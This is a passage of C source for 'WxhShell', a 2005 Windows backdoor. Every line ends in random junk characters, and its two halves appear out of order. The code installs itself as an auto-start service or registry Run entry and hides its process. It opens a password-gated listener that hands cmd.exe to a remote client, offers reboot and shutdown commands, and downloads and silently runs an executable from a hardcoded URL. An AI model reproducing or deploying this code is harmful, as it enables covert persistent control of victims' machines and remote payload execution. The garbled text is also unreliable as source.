    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IS0RhtGy/  
    if(Boot(SHUTDOWN)) ~c7}eTJd"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /[YH  W]  
    else { M9{?gM9  
    closesocket(wsh); b?-Ep?G'\  
    ExitThread(0); )>q.!"B  
    } 7_ g}t!b`  
    break; 8=x{>&Jr&#  
    } D T^3K5  
  // 获取shell Ilvz @=  
  case 's': { f/G YDat  
    CmdShell(wsh); CLI!(8ZW  
    closesocket(wsh); vS %r_gf(  
    ExitThread(0); ;L.@4b[lP  
    break; bq3G3oAyG  
  } T_CYSS|fX  
  // 退出 s$e0;C!D  
  case 'x': { @)mH"u!(7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K1O0/2O  
    CloseIt(wsh); |,F/_    
    break; )P\Vd #  
    } ,mH2S/<}S  
  // 离开 ]Lq9Ompf(t  
  case 'q': { cCN[c)[c|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b]hP;QK`U$  
    closesocket(wsh); 2`,{IHu*!  
    WSACleanup(); 0IoS|P}6a  
    exit(1); IH?.s k  
    break; F,^Q'$ !  
        } HaI  
  } /C29^P  
  } &Mbpv)V8  
#imMkvx?  
  // 提示信息 {,p<!Jq~G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SlvQ)jw%  
} 'M2Jw8i  
  } C,:3z  
Oa=0d;_  
  return; o|G.tBpKg  
} eX$P k:  
`-S6g^Y  
// shell模块句柄 0%.l|~CE&  
int CmdShell(SOCKET sock) ZK4/o  
{ )6dvWK  
STARTUPINFO si; 6&7#?/Lq  
ZeroMemory(&si,sizeof(si)); -G2'c)DR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !=>pI/ECQ*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 31-%IkX+k  
PROCESS_INFORMATION ProcessInfo;  lTsl=  
char cmdline[]="cmd"; S!o!NSn@1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :WejY`}H%  
  return 0; u(\O  
} ,6?L.L  
+avu&2B  
// 自身启动模式 /m%Y.:g  
int StartFromService(void) 'l2'%@E>  
{ :N5R.@9  
typedef struct gTZ1LJ  
{ '~A~gK0  
  DWORD ExitStatus; n?vrsqmZ  
  DWORD PebBaseAddress; h_L-M}{OG  
  DWORD AffinityMask; |RX u O  
  DWORD BasePriority; lCg'K(|"  
  ULONG UniqueProcessId; e"P>b? OY  
  ULONG InheritedFromUniqueProcessId; :a(er'A  
}   PROCESS_BASIC_INFORMATION; RVtb0FL  
O7bTu<h=  
PROCNTQSIP NtQueryInformationProcess; e>1z1Q;_uv  
SN O'*?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *KSQ^.sYh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^'r/;(ZF*/  
n\&[^Q#b|  
  HANDLE             hProcess; CGvU{n,"  
  PROCESS_BASIC_INFORMATION pbi; he;;p="!*  
1I^[_ /_\y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1i:l  
  if(NULL == hInst ) return 0; Js[dT|>.  
LDHuf<`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B'B,,Mz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 37Vs9w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `~QS3zq  
GGsDR%U  
  if (!NtQueryInformationProcess) return 0; ZFh2v]|!  
WPiQ+(pt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4M'y9(  
  if(!hProcess) return 0; lpLjfHr  
Mp9wYM*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !},_,J~(|  
0|n1O)>J  
  CloseHandle(hProcess); 0dA'f0Uy\X  
w=I8f}(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zo}wzY~x>I  
if(hProcess==NULL) return 0; {j.5!Nj]B  
<[Ae 0UK  
HMODULE hMod;  RSXYz8{  
char procName[255]; yZ=wT,Y  
unsigned long cbNeeded; `=8g%O|T  
|T0jq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZAVjq;bq  
i E>E*!aBg  
  CloseHandle(hProcess); EE5I~k 5  
{Sm^F  
if(strstr(procName,"services")) return 1; // 以服务启动 Vr0-evwfo  
pTPWToKh  
  return 0; // 注册表启动 I5PI;t+  
} ZG>I[V'p=  
E$dPu  
// 主模块 VeidB!GyP  
int StartWxhshell(LPSTR lpCmdLine) cLn&b}8'  
{ IY2ca Xu  
  SOCKET wsl;  +T02AS  
BOOL val=TRUE; ^=@L(;Y  
  int port=0; M \rW  
  struct sockaddr_in door; Kf#9-.}?  
S*<+vIo  
  if(wscfg.ws_autoins) Install(); 7<['4*u  
Uc]S7F#  
port=atoi(lpCmdLine); X-O/&WRYQ  
CEjMHP$=  
if(port<=0) port=wscfg.ws_port; fvg jqiT  
M q;m+{B  
  WSADATA data; H@o 3u>}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V(n7hpS  
;LM`B^Q]s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +@>K]hdr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~p^&` FA  
  door.sin_family = AF_INET; NrPs :`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cX u"-/  
  door.sin_port = htons(port); 8%v1[W i  
dUiv+K)ccQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X8aNl"x  
closesocket(wsl); v1wMXOR  
return 1; !2>MaV1,  
} ^3?]S{1/#  
,;9byb  
  if(listen(wsl,2) == INVALID_SOCKET) { z/yNFY]i  
closesocket(wsl); %7WGodlXW  
return 1; *^+8_%;1  
} qELy'\  
  Wxhshell(wsl); k_$:?$  
  WSACleanup(); :^7/+|}9p  
4sOo>.<x  
return 0; W=j  
H.#<&5f  
} R@_i$Df|  
c+P.o.k;  
// 以NT服务方式启动 #wn`choT'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J+ tpBPmb  
{ dV(61C0wn  
DWORD   status = 0; T@0\z1,~S  
  DWORD   specificError = 0xfffffff; cC@B\Q  
k4Ed7T-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <RQ\nU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `{BY {  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {1a%CsCM  
  serviceStatus.dwWin32ExitCode     = 0; !0Hx1I<*x  
  serviceStatus.dwServiceSpecificExitCode = 0; :(gZ\q">k  
  serviceStatus.dwCheckPoint       = 0; &0A^_Z .nA  
  serviceStatus.dwWaitHint       = 0; {z:aZ]QhKc  
T;jy2|mLo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *V}T}nK7  
  if (hServiceStatusHandle==0) return; M{:}.H<a  
_)AX/%^%  
status = GetLastError(); ##Jg>HL'  
  if (status!=NO_ERROR) ;#a^M*e  
{ zyb>PEd.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GSck^o2{  
    serviceStatus.dwCheckPoint       = 0; ^i>Tm9vM  
    serviceStatus.dwWaitHint       = 0; $e>(M&9,  
    serviceStatus.dwWin32ExitCode     = status; d'Cn] <  
    serviceStatus.dwServiceSpecificExitCode = specificError; iupuhq$ ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )xKZ)SxV  
    return; imGg3'  
  } V?x&.C2Z  
V80BO#Pk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H4l*  
  serviceStatus.dwCheckPoint       = 0; Xtv^q> !  
  serviceStatus.dwWaitHint       = 0; M:&g5y&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RlJt+lnV  
} ?J[m)Uo/ K  
f'501MJu  
// 处理NT服务事件,比如:启动、停止 V}c3}'_U]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 90ZMO7_  
{ P_Rh& gkuK  
switch(fdwControl) O2z{>\  
{ z^;0{q,  
case SERVICE_CONTROL_STOP: }.bhsy  
  serviceStatus.dwWin32ExitCode = 0; h0i/ v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iKs @oHW  
  serviceStatus.dwCheckPoint   = 0; AXbDCDA  
  serviceStatus.dwWaitHint     = 0; AP1Eiv<Hub  
  { "'Bx<FA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "N'|N.,  
  } prJ]u H,  
  return; BCy# Td  
case SERVICE_CONTROL_PAUSE: 7Aj o9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >/W  
  break; =gSa?pd  
case SERVICE_CONTROL_CONTINUE: :xqhPr]e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M.b1=Y  
  break; :2+,?#W  
case SERVICE_CONTROL_INTERROGATE: ,mkXUW  
  break; |%p;4b  
}; l;+nL[%`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M1UabqQ  
} b8Bf,&:ys  
9@'^}c#  
// 标准应用程序主函数 D}.Pk>5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [diUO1p  
{ dY|~"6d)  
b@6hGiqx  
// 获取操作系统版本 w +pK=R  
OsIsNt=GetOsVer(); &d5n_:^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K=S-p3\g  
J3 Y-d7=|  
  // 从命令行安装 k :KN32%  
  if(strpbrk(lpCmdLine,"iI")) Install();  3W& f^*  
t(d$v_*y51  
  // 下载执行文件 g7Xjo )  
if(wscfg.ws_downexe) { DcjF $E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |AgdD  
  WinExec(wscfg.ws_filenam,SW_HIDE); j%_{tB  
} ?%)G%2  
;^fGQ]`4  
if(!OsIsNt) { j.}@9  
// 如果时win9x,隐藏进程并且设置为注册表启动 I[P43>F3  
HideProc(); Ii*tux!S  
StartWxhshell(lpCmdLine); 1W@ C]n4  
} k 5~#_D>  
else h`{agW B  
  if(StartFromService()) [9}D+k F  
  // 以服务方式启动 >d/DXv 3  
  StartServiceCtrlDispatcher(DispatchTable); aHhr_.>X  
else yf 7Sz$Eq  
  // 普通方式启动 i!AFXVX  
  StartWxhshell(lpCmdLine); $-x@P9im  
}MW7,F  
return 0; $9~6M*  
} "`va_Mk  
F0Nl,9h('  
`B1r+uTP~  
`lI(SS]w  
=========================================== 1]DPy+  
Oq[2<ept  
cu~dbv6H  
$ G\IzK  
|{STkV]  
oSAO0h>0N  
" 2b&&3u8  
9n\b!*x  
#include <stdio.h> u;@~P  
#include <string.h> s2IjZF{  
#include <windows.h> dq6|m }g{  
#include <winsock2.h> D]P_tJI  
#include <winsvc.h> 7,^.h<@K  
#include <urlmon.h> O6 :GE'S  
lMn1e6~K  
#pragma comment (lib, "Ws2_32.lib") [wLK*9@&  
#pragma comment (lib, "urlmon.lib") S)n+E\c  
9Q*T'+V  
#define MAX_USER   100 // 最大客户端连接数 DK6^\k][V  
#define BUF_SOCK   200 // sock buffer xAZ-_}'tW  
#define KEY_BUFF   255 // 输入 buffer  _klT  
e-@.+ f2CC  
#define REBOOT     0   // 重启 sWG_MEbu  
#define SHUTDOWN   1   // 关机 W`vgH/lSnZ  
_"4u?C#  
#define DEF_PORT   5000 // 监听端口 `l%)0)T  
*_qLLJg  
#define REG_LEN     16   // 注册表键长度 [9-&Lq_ g  
#define SVC_LEN     80   // NT服务名长度 zyHHz\{  
<SPT2NyX  
// 从dll定义API G (Ky7S Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h?D>Dfeg%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $vC}Fq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^8z~`he=_J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p?6`mH  
EFk9G2@_  
// wxhshell配置信息 P{2ue`w[  
struct WSCFG { 1:.I0x!  
  int ws_port;         // 监听端口 bF"1M#u:  
  char ws_passstr[REG_LEN]; // 口令 u`ezQvrcy  
  int ws_autoins;       // 安装标记, 1=yes 0=no o*r 2T4 8  
  char ws_regname[REG_LEN]; // 注册表键名 "/#=8_f  
  char ws_svcname[REG_LEN]; // 服务名 K{vn[}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bE6:pGr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -zSkon2Y^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'zUWO_(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fzk^QrB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]b+Nsr~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Szb#:C  
h!zev~u1)`  
}; SNUq  
F\Z|JCA  
// default Wxhshell configuration V_Xq&!HN[  
struct WSCFG wscfg={DEF_PORT, 'v~%rhq3  
    "xuhuanlingzhe", # fe%E.  
    1, ^U8^P]{R|  
    "Wxhshell", M hwuh`v%  
    "Wxhshell", z,f  
            "WxhShell Service", ==ZL0 ][  
    "Wrsky Windows CmdShell Service", ^+MG"|)u~  
    "Please Input Your Password: ", %b1NlzB+  
  1, S=^kR [O"  
  "http://www.wrsky.com/wxhshell.exe", ?c6`p3p3L  
  "Wxhshell.exe" \F'tl{'\@  
    }; #GVf+8"  
02F\1fXS  
// 消息定义模块 0!5w0^1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UXdnN;0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F, 39'<N[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -ld1o+'`v!  
char *msg_ws_ext="\n\rExit."; JNL9t0 x  
char *msg_ws_end="\n\rQuit."; 4~DW7 (  
char *msg_ws_boot="\n\rReboot..."; ; `Vbl_"L  
char *msg_ws_poff="\n\rShutdown..."; U=vh_NHj  
char *msg_ws_down="\n\rSave to "; G@=H=' :~  
3[UB3F 4K  
char *msg_ws_err="\n\rErr!"; i2y E-sgF  
char *msg_ws_ok="\n\rOK!"; p_:bt7 B  
"0sk(kT  
char ExeFile[MAX_PATH]; ;) (F4  
int nUser = 0; ej;\a:JL  
HANDLE handles[MAX_USER]; 1${rQ9FIF  
int OsIsNt; .dQEr~f#}  
ZDl6 F`  
SERVICE_STATUS       serviceStatus; p|&9#?t4A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cxB{EH,2Um  
R\MFh!6sn  
// 函数声明 _Z0O]>KH  
int Install(void); Ty5}5)CRZ  
int Uninstall(void); (DTXc2)c  
int DownloadFile(char *sURL, SOCKET wsh); g54b}vzm  
int Boot(int flag); n%&+yg   
void HideProc(void); N_Q\+x}zq  
int GetOsVer(void); nf,u'}psdJ  
int Wxhshell(SOCKET wsl); Q G8X{'  
void TalkWithClient(void *cs); Pq<]`9/w^w  
int CmdShell(SOCKET sock); )ePQN~#K}  
int StartFromService(void); x:0nK,  
int StartWxhshell(LPSTR lpCmdLine); e:T8={LU2W  
CGCI3Z'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gi 7p`F.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LO@='}D=  
CS\T@)@t  
// 数据结构和表定义 3j} @}2D  
SERVICE_TABLE_ENTRY DispatchTable[] = J5j3#2l  
{ nm{J  
{wscfg.ws_svcname, NTServiceMain}, ;+NU;f/WM  
{NULL, NULL} fZNWJo# `.  
}; %VsIg  
NA-)7i*>J  
// 自我安装 {[Z}<#n)  
int Install(void) I?~iEO\nh  
{ G5hh$Nmpi  
  char svExeFile[MAX_PATH]; eW/sP Q-  
  HKEY key; n/vKxtW  
  strcpy(svExeFile,ExeFile); 6U?z  
grbUR)f<?-  
// 如果是win9x系统,修改注册表设为自启动 ?_BK(kL_  
if(!OsIsNt) { yRtxh_wr9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Sr}I,DG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /{sFrEMP\  
  RegCloseKey(key); n*nsFvt%o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  WgayH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xwe^_7  
  RegCloseKey(key); Nt/#Qu2#br  
  return 0; kW.it5Z#  
    } i&',g  
  } `44 }kkBT  
} U{|WN7Q:A  
else { o^*k   
qrt2BT)  
// 如果是NT以上系统,安装为系统服务 $`'Xb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pdEUDuX  
if (schSCManager!=0) "+k^8ki  
{ wzNGL{3  
  SC_HANDLE schService = CreateService ]O 8hkGa  
  ( E(/M?>t-  
  schSCManager, x17K8De  
  wscfg.ws_svcname, nAY'1!Oi  
  wscfg.ws_svcdisp,  /gUD!@  
  SERVICE_ALL_ACCESS, si,W.9rU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %5rC`9^  
  SERVICE_AUTO_START, Xm I63W*  
  SERVICE_ERROR_NORMAL, PZE{- TM?W  
  svExeFile, 'A)r)z {X  
  NULL, Di>B:=  
  NULL, vd]75  
  NULL, C'oNGOEd  
  NULL, MFqM 6_  
  NULL YIZ+BVa  
  ); _+NM<o#A  
  if (schService!=0) pj/w9j G6  
  { t IO 'ky  
  CloseServiceHandle(schService); /+zzZnLl-M  
  CloseServiceHandle(schSCManager); R(dOQ. ;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vzPuk|q3  
  strcat(svExeFile,wscfg.ws_svcname); e A'1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |xX>AMZc)D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VY]L<4BfGL  
  RegCloseKey(key); wr{ [4$O  
  return 0; %9Y3jB",2  
    } ed:[^#Lj  
  } >cYYr@S  
  CloseServiceHandle(schSCManager); 4o``t]  
} lk`,s  
} Uk@'[_1z  
>2[nTfS  
return 1; 9?L,DThQ  
} R!2oj_  
lOJ3_8  
// 自我卸载 dub %fs  
int Uninstall(void) 6-!U\R2Z>  
{ u/S{^2`b  
  HKEY key; uqFYa bU  
7v{s?h->$  
if(!OsIsNt) { 3sF^6<E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n,vs(ZL:  
  RegDeleteValue(key,wscfg.ws_regname); @M_p3[c\  
  RegCloseKey(key); " _{o}8L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GO<,zOqvU  
  RegDeleteValue(key,wscfg.ws_regname); @?E|]H!S]  
  RegCloseKey(key); &8R !`uh1  
  return 0; l:$i}.C  
  } z [9f  
} #BLmT-cl  
} (m%A>e B  
else { M*n@djL$\~  
rwh,RI) )g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e|2@z-Sp-  
if (schSCManager!=0) v"3($?au0  
{ <]e0TU?bk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f9FEH7S68  
  if (schService!=0) 5@&{%99  
  { GX-V|hLaGX  
  if(DeleteService(schService)!=0) { wcW8"J'AH  
  CloseServiceHandle(schService); `j)S7KN  
  CloseServiceHandle(schSCManager); !eE;MaS>  
  return 0; SNl% ?j| f  
  } fqp!^-!X  
  CloseServiceHandle(schService); .XTR HL*:  
  } 9qcA+gz:|  
  CloseServiceHandle(schSCManager); 14Y<-OO: k  
} TpIx!R9  
} %3;vDB*L$  
Tt\h#E  
return 1; <g3)!VR^q  
} tkj QSz  
|0N6]%r  
// 从指定url下载文件 +0Z,#b  
int DownloadFile(char *sURL, SOCKET wsh) d.Im{-S  
{ :)=>,XwL8  
  HRESULT hr; 8;\  
char seps[]= "/"; '^10sf`"  
char *token; 4#"_E:;PQ  
char *file; nkTpUbS'f?  
char myURL[MAX_PATH]; R!Lh ~~@{(  
char myFILE[MAX_PATH]; ?_V&~?r   
"kS!rJ[  
strcpy(myURL,sURL); e !2SO*O  
  token=strtok(myURL,seps); =9yh<'583  
  while(token!=NULL) ;eY.4/*R  
  { w 8B SY  
    file=token; hb ="J349  
  token=strtok(NULL,seps); ~;S  
  } )Gm,%[?2C  
sFbN)Cx  
GetCurrentDirectory(MAX_PATH,myFILE);  @ ^cR  
strcat(myFILE, "\\"); ``:+*4e9  
strcat(myFILE, file); \@!"7._=  
  send(wsh,myFILE,strlen(myFILE),0); X%rsa7H3J  
send(wsh,"...",3,0); .$"13"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j/p1/sJ[y  
  if(hr==S_OK) H~:EPFi.(  
return 0; fK{m7?V  
else Kg6[  
return 1; 6"YcM:5~  
AEd]nVV Q  
} E*AI}:or;  
9y+0Zj+.  
// 系统电源模块 [JVEKc ym  
int Boot(int flag) WRov7  
{ v8l3{qq  
  HANDLE hToken; 5RsO^2V:  
  TOKEN_PRIVILEGES tkp; 7SJR_G6,{  
vdIert?p  
  if(OsIsNt) { CuT50N;tk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u*=8s5Q[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \k 6'[ln  
    tkp.PrivilegeCount = 1; ]_(J8v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e);`hNLih  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^).  
if(flag==REBOOT) { ("KtJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $W]}m"l  
  return 0; \,S4-~(:!  
} cDIZkni=  
else { bRD-[)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VVJIJ9L&C  
  return 0; 46##(4RF  
} $f?GD<}?7r  
  } w ZfY~  
  else { %uw7sGz\  
if(flag==REBOOT) { \q@Co42n\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ezb*tN!  
  return 0; }jg 1..)"<  
} jwpahy;\WL  
else { JNv@MJb}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $5:I~ -mx  
  return 0; %xrldn%  
} 2m^qXE$  
} U"RA*|  
3Cgv($xl&  
return 1; *ze,X~8-  
} IIN,Da;hD  
Kr?<7vMT5  
// win9x进程隐藏模块 {53|X=D64  
void HideProc(void) "U!Vdt2vp  
{ y+p"5s"  
t$ 97[ay  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /dO*t4$@?  
  if ( hKernel != NULL ) g:Q:cSg<  
  { =h xyR;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^ WF_IH&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  ~)F_FS  
    FreeLibrary(hKernel); $_3 )m  
  } zm8k,e +5-  
\l%##7DRp]  
return; k[)/,1  
} 0{ _6le]  
E 6+ ooB[  
// 获取操作系统版本 <Sr:pm  
int GetOsVer(void) h^v#?3.@  
{ Cn0s?3Fm  
  OSVERSIONINFO winfo; m&yHtnt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); * =*\w\ te  
  GetVersionEx(&winfo); m#ig.z|A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~^'WHuz Py  
  return 1; zJ$U5r/u  
  else /;vHAtt;f  
  return 0; LcT;7yv  
} wwv+s~(0  
r9*6=*J|  
// 客户端句柄模块 2'@D0L  
int Wxhshell(SOCKET wsl) C\Z5%2<Z  
{ 7nB X@Uo  
  SOCKET wsh; T9'HQu  
  struct sockaddr_in client; _Fn`G .r<  
  DWORD myID; QyY<Zi;6  
cltx(C>   
  while(nUser<MAX_USER) jcjl q-x  
{ 8)2M%R\THn  
  int nSize=sizeof(client); :Gzp (@<@e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0fLd7*1>  
  if(wsh==INVALID_SOCKET) return 1; _T7XCXEk   
Q,Y^9g"B`~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  3bJ|L3G  
if(handles[nUser]==0) p>f ?Rw_  
  closesocket(wsh); |j{]6Nu  
else ?*[35XUd  
  nUser++; oad /xbp@/  
  } yu@Pd3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dt>9mF q  
7F_N{avr  
  return 0; ` @lNt}  
} (Q&O'ng1  
|f\WVGH  
// 关闭 socket ms\\R@R  
void CloseIt(SOCKET wsh) vT @25  
{ #_|O93HN'  
closesocket(wsh); %mD{rG9  
nUser--; uHRxV"@}[1  
ExitThread(0); LPZ\T} <l  
} ];5Auh 0o  
vP+qwvpGr  
// 客户端请求句柄 !N_eZPU.v  
void TalkWithClient(void *cs) 0P{8s  
{ Ra6}<o  
NxDVU?@p*  
  SOCKET wsh=(SOCKET)cs; Ct zW do.  
  char pwd[SVC_LEN]; a,)/D_{1  
  char cmd[KEY_BUFF]; F~hH>BH9  
char chr[1]; P}>>$$b\Yi  
int i,j; Zz]/4 4t  
5R%y3::$S  
  while (nUser < MAX_USER) { &}|`h8JA]K  
F\ GNLi  
if(wscfg.ws_passstr) { :zvAlt'q=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vlipB}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GXNkl?#  
  //ZeroMemory(pwd,KEY_BUFF); WTjmU=<\  
      i=0; XW\ 3ttx  
  while(i<SVC_LEN) { `s3:Vsv4  
jGo\_O<of  
  // 设置超时 ~O!E&~  
  fd_set FdRead; wehiX7y  
  struct timeval TimeOut; # JY>  
  FD_ZERO(&FdRead); %$Xt1ub6(  
  FD_SET(wsh,&FdRead); GU9p'E  
  TimeOut.tv_sec=8; AxF$7J(  
  TimeOut.tv_usec=0; -w8?Ur1x:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4L4u<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8Bh micU  
KoWG:~>|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AAKc8 {  
  pwd=chr[0]; %K7;ePu  
  if(chr[0]==0xd || chr[0]==0xa) { '<*%<J{(  
  pwd=0; {yEL$8MC  
  break; +Jn\`4/J:  
  } B(6*U~Kn%  
  i++; "Vp:Sq9y  
    } rSm#/)4A  
4cJ/XgX  
  // 如果是非法用户,关闭 socket /11CC \  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b^()[4M;  
} Ml{4)%~Y7f  
V`YmGo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "?W8 o[c+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hhI*2|i"L  
,9ew75Jl  
while(1) { _F^NX%  
qg<Y^ y  
  ZeroMemory(cmd,KEY_BUFF); /[ Rp~YzW  
S&k/Pc  
      // 自动支持客户端 telnet标准   PlgpH'z4$  
  j=0; ]@}hyM[D;  
  while(j<KEY_BUFF) { jZvIqR/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 322-'S3<  
  cmd[j]=chr[0]; nrXKS&6  
  if(chr[0]==0xa || chr[0]==0xd) { 8,VEuBZ  
  cmd[j]=0; HzuG- V  
  break; A2\3.3  
  } +JXn   
  j++; V>UlL&V  
    } |<y1<O>F  
5Fq+^  
  // 下载文件 98 uMD  
  if(strstr(cmd,"http://")) { Yfs eX;VX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `bn@;7`X  
  if(DownloadFile(cmd,wsh)) U^DR'X=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ZCxi  
  else /#L4ec-'  
